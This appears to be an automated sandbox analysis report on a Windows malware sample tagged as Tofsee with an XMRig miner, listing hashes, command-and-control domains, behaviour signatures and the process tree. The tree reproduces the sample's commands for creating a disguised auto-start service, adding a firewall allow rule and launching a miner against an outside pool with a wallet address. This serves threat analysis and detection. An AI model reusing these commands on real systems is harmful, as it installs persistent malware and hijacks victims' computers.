Analysis

  • max time kernel
    149s
  • max time network
    154s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    06-10-2023 16:11

General

  • Target

    NEAS.e6eba455a3dec3f3b4f52ec852f0335b4955b6508d9d6d6b90e9c21ab293cf0aexe_JC.exe

  • Size

    202KB

  • MD5

    9388dbeb6fdf9003fbc7ca159cfda275

  • SHA1

    ff1d836222240de90ad3d75a279d9cc565869590

  • SHA256

    e6eba455a3dec3f3b4f52ec852f0335b4955b6508d9d6d6b90e9c21ab293cf0a

  • SHA512

    98ece8a30b01c71aacd64b9e3b0d5ffe92f5a13b4a73365dabba36be4acf11f331ee424a09b05c48279a810a77e9aff05440c201072082004b68bcdba3dea4c1

  • SSDEEP

    3072:pRcFAhzF4JmYYa2Nurb9jNbpDp6JUmu5BkIs/Vr:MA/AZD3LrFmzI2V

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\NEAS.e6eba455a3dec3f3b4f52ec852f0335b4955b6508d9d6d6b90e9c21ab293cf0aexe_JC.exe
    "C:\Users\Admin\AppData\Local\Temp\NEAS.e6eba455a3dec3f3b4f52ec852f0335b4955b6508d9d6d6b90e9c21ab293cf0aexe_JC.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1740
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\yyybwjcp\
      2⤵
        PID:2624
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\mcczlxnl.exe" C:\Windows\SysWOW64\yyybwjcp\
        2⤵
          PID:3068
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create yyybwjcp binPath= "C:\Windows\SysWOW64\yyybwjcp\mcczlxnl.exe /d\"C:\Users\Admin\AppData\Local\Temp\NEAS.e6eba455a3dec3f3b4f52ec852f0335b4955b6508d9d6d6b90e9c21ab293cf0aexe_JC.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2588
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description yyybwjcp "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2568
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start yyybwjcp
          2⤵
          • Launches sc.exe
          PID:2740
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2468
      • C:\Windows\SysWOW64\yyybwjcp\mcczlxnl.exe
        C:\Windows\SysWOW64\yyybwjcp\mcczlxnl.exe /d"C:\Users\Admin\AppData\Local\Temp\NEAS.e6eba455a3dec3f3b4f52ec852f0335b4955b6508d9d6d6b90e9c21ab293cf0aexe_JC.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2768
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2452
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1412

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\mcczlxnl.exe

        Filesize

        10.9MB

        MD5

        a83a8567906c2ab0fe913739c04ea711

        SHA1

        ec6a6a15c1f802b86e8e2cc7545f50d7548282cf

        SHA256

        13406693565a8e9067a5ec6e4e0be848c04bd16b2ce1b3223e62d310718c5731

        SHA512

        b2d7d320020153596f21d8211f442b6545828eb4842c37b0c8c7830f1c71ff831a1e30f1a55831e3495bab82090bbc9c9fe2cc7102992c06bfdd241d3c62f2e3

      • C:\Windows\SysWOW64\yyybwjcp\mcczlxnl.exe

        Filesize

        10.9MB

        MD5

        a83a8567906c2ab0fe913739c04ea711

        SHA1

        ec6a6a15c1f802b86e8e2cc7545f50d7548282cf

        SHA256

        13406693565a8e9067a5ec6e4e0be848c04bd16b2ce1b3223e62d310718c5731

        SHA512

        b2d7d320020153596f21d8211f442b6545828eb4842c37b0c8c7830f1c71ff831a1e30f1a55831e3495bab82090bbc9c9fe2cc7102992c06bfdd241d3c62f2e3

      • memory/1412-77-0x0000000000200000-0x00000000002F1000-memory.dmp

        Filesize

        964KB

      • memory/1412-78-0x0000000000200000-0x00000000002F1000-memory.dmp

        Filesize

        964KB

      • memory/1412-74-0x0000000000200000-0x00000000002F1000-memory.dmp

        Filesize

        964KB

      • memory/1412-75-0x0000000000200000-0x00000000002F1000-memory.dmp

        Filesize

        964KB

      • memory/1412-76-0x0000000000200000-0x00000000002F1000-memory.dmp

        Filesize

        964KB

      • memory/1412-73-0x0000000000200000-0x00000000002F1000-memory.dmp

        Filesize

        964KB

      • memory/1412-72-0x0000000000200000-0x00000000002F1000-memory.dmp

        Filesize

        964KB

      • memory/1412-62-0x0000000000200000-0x00000000002F1000-memory.dmp

        Filesize

        964KB

      • memory/1412-63-0x0000000000200000-0x00000000002F1000-memory.dmp

        Filesize

        964KB

      • memory/1740-4-0x0000000000400000-0x00000000005A9000-memory.dmp

        Filesize

        1.7MB

      • memory/1740-6-0x0000000000400000-0x00000000005A9000-memory.dmp

        Filesize

        1.7MB

      • memory/1740-3-0x0000000000220000-0x0000000000233000-memory.dmp

        Filesize

        76KB

      • memory/1740-1-0x00000000006D0000-0x00000000007D0000-memory.dmp

        Filesize

        1024KB

      • memory/2452-38-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/2452-47-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/2452-27-0x00000000001D0000-0x00000000001D6000-memory.dmp

        Filesize

        24KB

      • memory/2452-30-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/2452-33-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/2452-34-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/2452-35-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/2452-36-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/2452-37-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/2452-23-0x0000000001980000-0x0000000001B8F000-memory.dmp

        Filesize

        2.1MB

      • memory/2452-39-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/2452-40-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/2452-41-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/2452-43-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/2452-42-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/2452-44-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/2452-45-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/2452-26-0x0000000001980000-0x0000000001B8F000-memory.dmp

        Filesize

        2.1MB

      • memory/2452-49-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/2452-48-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/2452-50-0x0000000000230000-0x0000000000235000-memory.dmp

        Filesize

        20KB

      • memory/2452-53-0x0000000000230000-0x0000000000235000-memory.dmp

        Filesize

        20KB

      • memory/2452-54-0x0000000005550000-0x000000000595B000-memory.dmp

        Filesize

        4.0MB

      • memory/2452-46-0x00000000001E0000-0x00000000001F0000-memory.dmp

        Filesize

        64KB

      • memory/2452-57-0x0000000005550000-0x000000000595B000-memory.dmp

        Filesize

        4.0MB

      • memory/2452-58-0x0000000000280000-0x0000000000287000-memory.dmp

        Filesize

        28KB

      • memory/2452-22-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2452-20-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2452-19-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2452-11-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2452-14-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/2452-12-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/2768-17-0x0000000000400000-0x00000000005A9000-memory.dmp

        Filesize

        1.7MB

      • memory/2768-10-0x0000000000400000-0x00000000005A9000-memory.dmp

        Filesize

        1.7MB

      • memory/2768-9-0x0000000000700000-0x0000000000800000-memory.dmp

        Filesize

        1024KB